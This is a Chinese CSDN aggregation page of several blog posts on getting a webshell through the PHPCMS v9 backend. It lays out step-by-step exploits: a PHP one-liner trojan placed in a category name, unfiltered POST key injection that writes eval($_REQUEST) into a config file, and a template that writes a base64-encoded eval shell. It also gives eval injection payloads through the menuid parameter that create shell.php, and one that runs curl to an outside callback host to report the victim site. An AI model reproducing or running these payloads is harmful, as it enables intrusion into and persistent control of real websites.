phpcmsv9后台shell_phpcmsv9 后台模板下载 - CSDN
精华内容
参与话题
  • phpcms V9后台shell时出错的解决办法

    千次阅读 2013-11-28 11:33:08
    1、登陆后台。"扩展"—"URL规则管理"—"添加规则" 2、“URL规则名称”一定要填category,“模块名称”一定要选“内容模块” ,“是否生成静态”一定要选是,“URL示例”随便填(但是要记住,接下来要用到),“URL...
    1、登陆后台。"扩展"—"URL规则管理"—"添加规则"
    2、“URL规则名称”一定要填category,“模块名称”一定要选“内容模块” ,“是否生成静态”一定要选是,“URL示例”随便填(但是要记住,接下来要用到),“URL规则”改个php的文件名就好了,我这里是“blackbap.php”。然后“确定”
    3、"内容"—"管理栏目"—"添加栏目" (PS:T不错的php Q扣峮:304224365,验证:csl)
    4、“基本类型”随便填。但是要在“栏目名称”那里填上一句话木马。切记,小马的长度不要超过30个字符。小马过长了,你等下就会看到出错了。
    5、然后切换到”生成HTML设置”.”栏目生成HTML”选择”是”,”栏目URL规则”选择刚刚在URL管理处填写的”URL示例”.这里是blackbap
    6、确定并“更新栏目缓存”
    7、“内容”—“批量更新栏目页”—“开始更新”
    最后:一句话木马的地址是http://域名/html/blackbap.php
    ===================== End ==============================



    展开全文
  • PHPCMS v9.6 Getshell方法大全

    千次阅读 2017-11-15 10:07:36
    phpcms9.6.x后台getshell几种方法
    V9.6管理员权限getshell:
    漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
    public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }


    其中

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
    }

    这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中


    在ROOTDIR/phpcms/libs/classes/param.class.php中

    public function __construct() {
    if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
    }

    全局过滤POST 但这里之过滤value 没过滤key


    接下来看步骤


     

     

     

     PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞


    代码贴出来:*/eval($_REQUEST['a']);//

    name="data[uc_api','11');/*]"

    phpcmsv9.6低权限提权(其他版本自测)

    添加模板
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
    如图一样填完直接保存就OK

    然后
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

    第二个模板,填完先别保存
    跳到扩展设置
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    在专题模板那里对着专题首页右键查看元素后 定位到value='index'
    然后替换成上一个模板的路径
    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    ../../../../html/special/test/index

    注意这里test为你前面的模板名称

    PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
    修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入

    菜刀连接之
     
     
     
     https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
     
     
    展开全文
  • PHPCMS v9.6.0后台getshell

    2019-09-25 07:50:30
    思路来自于http://www.cnbraid.com/2016/09/18/phpcms/ 这里自己复现了一下,自己写了一下 因为是后台的,还得登陆两次。。所以不好用,主要是学习学习 漏洞来自于ROOTDIR/...

    思路来自于 http://www.cnbraid.com/2016/09/18/phpcms/

    这里自己复现了一下,自己写了一下

    因为是后台的,还得登陆两次。。所以不好用,主要是学习学习

     

    漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/admin/system.php

        public function uc() {
            if (isset($_POST['dosubmit'])) {
                $data = isset($_POST['data']) ? $_POST['data'] : '';
                $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
                $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
                $config = include $filepath;
                $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
                foreach ($data as $k => $v) {
                    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                    $new[] = "'$k'=>'$v',";
                    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
                }
                $html = file_get_contents($filepath);
                $html = str_replace($old, $new, $html);
                $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
                @file_put_contents($uc_config_filepath, $uc_config);
                @file_put_contents($filepath, $html);
                $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
                showmessage(L('operation_success'), HTTP_REFERER);
            }
            $data = array();
            $r = $this->db->get_one(array('name'=>'ucenter'));
            if ($r) {
                $data = string2array($r['data']);
            }
            include $this->admin_tpl('system_uc');
        }

    来自这段中的

    $data = isset($_POST['data']) ? $_POST['data'] : '';

    foreach ($data as $k => $v) {
    $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
    $new[] = "'$k'=>'$v',";
    $uc_config .= "define('".strtoupper($k)."', '$v');\n";
    }

    这里接收post['data']数据中的key,value并写入配置文件ROOTDIR/phpsso_server/caches/configs/uc_config.php中

    在ROOTDIR/phpcms/libs/classes/param.class.php中

        public function __construct() {
            if(!get_magic_quotes_gpc()) {
                $_POST = new_addslashes($_POST);
                $_GET = new_addslashes($_GET);
                $_REQUEST = new_addslashes($_REQUEST);
                $_COOKIE = new_addslashes($_COOKIE);
            }

    全局过滤了post,但是这里只过滤了value,并没有过滤key

    在这个地方,我们可以构造

    name="data[uc_api','11');/*]"

    并在Ucenter api 地址输入:*/eval($_REQUEST[test]);//

    就成功写入了一句话

     

    菜刀成功连接

     

    本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/09/18/phpcms/,如需转载请联系作者。

    转载于:https://www.cnblogs.com/wocalieshenmegui/p/5916660.html

    展开全文
  • phpcmsV9.5.8 后台shell

    2019-09-26 21:00:42
    参考url:https://xianzhi.aliyun.com/forum/read/1507.html ...c=content&a=public_categorys&menuid=${@phpinfo()} 根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/co...

    参考url:https://xianzhi.aliyun.com/forum/read/1507.html

    poc:index.php??m=content&c=content&a=public_categorys&menuid=${@phpinfo()}

    根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/content.php  第472-532行

    	public function public_categorys() {
    		$show_header = '';
    		$cfg = getcache('common','commons');
    		$ajax_show = intval($cfg['category_ajax']);
    		$from = isset($_GET['from']) && in_array($_GET['from'],array('block')) ? $_GET['from'] : 'content';
    		$tree = pc_base::load_sys_class('tree');
    		if($from=='content' && $_SESSION['roleid'] != 1) {	
    			$this->priv_db = pc_base::load_model('category_priv_model');
    			$priv_result = $this->priv_db->select(array('action'=>'init','roleid'=>$_SESSION['roleid'],'siteid'=>$this->siteid,'is_admin'=>1));
    			$priv_catids = array();
    			foreach($priv_result as $_v) {
    				$priv_catids[] = $_v['catid'];
    			}
    			if(empty($priv_catids)) return '';
    		}
    		$categorys = array();
    		if(!empty($this->categorys)) {
    			foreach($this->categorys as $r) {
    				if($r['siteid']!=$this->siteid ||  ($r['type']==2 && $r['child']==0)) continue;
    				if($from=='content' && $_SESSION['roleid'] != 1 && !in_array($r['catid'],$priv_catids)) {
    					$arrchildid = explode(',',$r['arrchildid']);
    					$array_intersect = array_intersect($priv_catids,$arrchildid);
    					if(empty($array_intersect)) continue;
    				}
    				if($r['type']==1 || $from=='block') {
    					if($r['type']==0) {
    						$r['vs_show'] = "<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=".$r['catid']."&type=show' target='right'>[".L('content_page')."]</a>";
    					} else {
    						$r['vs_show'] ='';
    					}
    					$r['icon_type'] = 'file';
    					$r['add_icon'] = '';
    					$r['type'] = 'add';
    				} else {
    					$r['icon_type'] = $r['vs_show'] = '';
    					$r['type'] = 'init';
    					$r['add_icon'] = "<a target='right' href='?m=content&c=content&menuid=".$_GET['menuid']."&catid=".$r['catid']."' οnclick=javascript:openwinx('?m=content&c=content&a=add&menuid=".$_GET['menuid']."&catid=".$r['catid']."&hash_page=".$_SESSION['hash_page']."','')><img src='".IMG_PATH."add_content.gif' alt='".L('add')."'></a> ";
    				}
    				$categorys[$r['catid']] = $r;
    			}
    		}
    		if(!empty($categorys)) {
    			$tree->init($categorys);
    				switch($from) {
    					case 'block':
    						$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list' target='right'>\$catname</a> \$vs_show</span>";
    						$strs2 = "<img src='".IMG_PATH."folder.gif'> <a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=category' target='right'>\$catname</a>";
    					break;
    
    					default:
    						$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid' target='right' οnclick='open_list(this)'>\$catname</a></span>";
    						$strs2 = "<span class='folder'>\$catname</span>";
    						break;
    				}
    			$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
    		} else {
    			$categorys = L('please_add_category');
    		}
            include $this->admin_tpl('category_tree');
    		exit;
    	}
    

      

    在当前函数开始下个断点

    跟到526行:

    $categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
    

      

    进入了get_treeview()函数,跟入进去,

    函数位于 /phpcms/libs/classes/tree.class.php  第206-239行。

     

    * @param $myid 表示获得这个ID下的所有子级
    * @param $effected_id 需要生成treeview目录数的id
    * @param $str 末级样式
    * @param $str2 目录级别样式
    * @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制
    * @param $style 目录样式 默认 filetree 可增加其他样式如'filetree treeview-famfamfam'
    * @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数
    * @param $recursion 递归使用 外部调用时为FALSE
       function get_treeview($myid,$effected_id='example',$str="<span class='file'>\$name</span>", $str2="<span class='folder'>\$name</span>" ,$showlevel = 0 ,$style='filetree ' , $currentlevel = 1,$recursion=FALSE) {
            $child = $this->get_child($myid);
            if(!defined('EFFECTED_INIT')){
               $effected = ' id="'.$effected_id.'"';
               define('EFFECTED_INIT', 1);
            } else {
               $effected = '';
            }
    		$placeholder = 	'<ul><li><span class="placeholder"></span></li></ul>';
            if(!$recursion) $this->str .='<ul'.$effected.'  class="'.$style.'">';
            foreach($child as $id=>$a) {
    
            	@extract($a);
    			if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = 'hasChildren'; //如设置显示层级模式@2011.07.01
            	$floder_status = isset($folder) ? ' class="'.$folder.'"' : '';		
                $this->str .= $recursion ? '<ul><li'.$floder_status.' id=\''.$id.'\'>' : '<li'.$floder_status.' id=\''.$id.'\'>';
                $recursion = FALSE;
                if($this->get_child($id)){
                	eval("\$nstr = \"$str2\";");
                	$this->str .= $nstr;
                    if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
    					$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
    				} elseif($showlevel > 0 && $showlevel == $currentlevel) {
    					$this->str .= $placeholder;
    				}
                } else {
                    eval("\$nstr = \"$str\";");
                    $this->str .= $nstr;
                }
                $this->str .=$recursion ? '</li></ul>': '</li>';
            }
            if(!$recursion)  $this->str .='</ul>';
            return $this->str;
        }
    	
    

      这里有个判断:

    if($this->get_child($id))

     

    当第一次执行为ture的时候,还是会再次执行get_treeview的内容

    $this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);

    第二次执行的时候$myid由0变成了1,

    下图的$myid是 $id的值

     

     这时候的$newarr为空,

    if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。

     

     

    这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。

    /index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))} 

     密码1

     

    还有另一种payload,会回显的提醒。

    自动curl请求你的域名,然后回显网站url

    print_r(base64_encode("fputs(fopen('shell.php','w'),'<?php eval(\$_POST[2]);');system('curl '.\$_SERVER[\"SERVER_NAME\"].'4321.nrcuf9.ceye.io');"));
    

      先输出base64的地址,然后在替换下面的字符串

    /index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})

     

    这个字符串有几个点提醒下自己, assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。

    如果有读者读到这篇,求告知php的${} 作用。

    解答:在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换。

    在这里我们需要通过{${}}构造出了一个特殊的变量。

    参考:http://www.redicecn.com/html/PHP/20100607/149.html

     

    转载于:https://www.cnblogs.com/yangxiaodi/p/6882606.html

    展开全文
  • phpcms v9.6.0版本getshell测试

    千次阅读 2017-09-12 08:56:22
    需要 phpcms V9.6.0安装包/ phpstudy 安装PHPstudy完成后,直接把phpcms V9.6.0解压到WWW目录下 然后浏览器访问:http://ip/phpcms 进行安装,安装都是傻瓜式的操作,填写好数据库用户名密码就可以了。。phpstudy的...
  • PHPcmsV9任意文件读取漏洞拿Shell

    千次阅读 2012-08-02 21:57:53
    简介:作者:Return 前几天爆的phpcmsV9任意文件读取漏洞,其实危害是很大的,但往往还是一些管理员 觉得漏洞并不可怕,听到某人说道,即使是被人读取了数据库数据也没用,为啥,因为 他权限数据库权限单库单用户,...
  • PHPCMS V9.6.3后台的漏洞分析 ...漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php 漏洞产生点位于265~272行:   1 if (@file_put_contents($filepath,$str)) { 2 ob_start()...
  • 漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html 很好的fuzz思路。 文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" ... ...
  • 验证。参考漏洞:... 漏洞出现在/phpcms/modules/member/index.php 第1687-1756行 public_forget_password_username()函数 public function public_forget_...
  • phpcms v9.6.3的基础上进行修复维护【模板素技术支持】 更新修补内容 修复阅读收费失效的问题 修复高版本MySQL环境下的安装问题 修复发布内容时绕过审核的漏洞 修复文件包含漏洞 修正动态或伪静态下分页不存在时未...
  • phpcms v9.6.0任意文件上传漏洞
  • phpcmsv9维护升级内容: 一,新增功能 【重要】支持https和支持PHP7; 【重要】新增附件采用H5上传,废弃原来的flash上传功能; 【重要】新增手机版插件,支持模板自定义,SEO设置,数据和PC同步,自动绑定PC栏目及...
  • 利用phpcms后台漏洞渗透某色情网站

    万次阅读 2017-04-24 13:47:44
    phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析,其采用了phpcms系统,经过测试成功获取webshell。...
  • Phpcmsv9本地视频转码字段 近几个月接了不少视频网站的单子,客户都要求能够上传本地视频并自动转码,而且需要兼容手机端进行播放。我们采用的方案是PHP调用FFMPEG转码目标视频为H264标准MP4文件,前端采用CKPLAYER...
  • 对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行) 在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问 接着我们...
  • 引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) ... import re import requestsimport sysimport randomdef ...
  • php168新版后台模板拿shell 技巧

    千次阅读 2012-05-02 12:06:19
    摘要:php168新版后台模板拿shell技巧 ,PHP类漏洞,安全周边,溜客安全信息网 ... 文章作者:Just4u 本人一向没什么技术文章,只是一个技巧,欢迎各位补充指点 刚刚看了黑影小子渗透cmd5的文章,说...
  • phpcms 漏洞姿势

    千次阅读 2019-07-11 10:42:30
    一 .PHPCMS V9本地文件包含漏洞 漏洞出现在如下文件:phpcms/modules/search/index.php 代码如下: 本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数 因此可以构造payload如下 ...
  • phpcms的漏洞复现

    千次阅读 2019-09-26 22:35:53
    xxxxxxxxxxx
1 2 3 4 5 ... 7
收藏数 127
精华内容 50
关键字:

phpcmsv9后台shell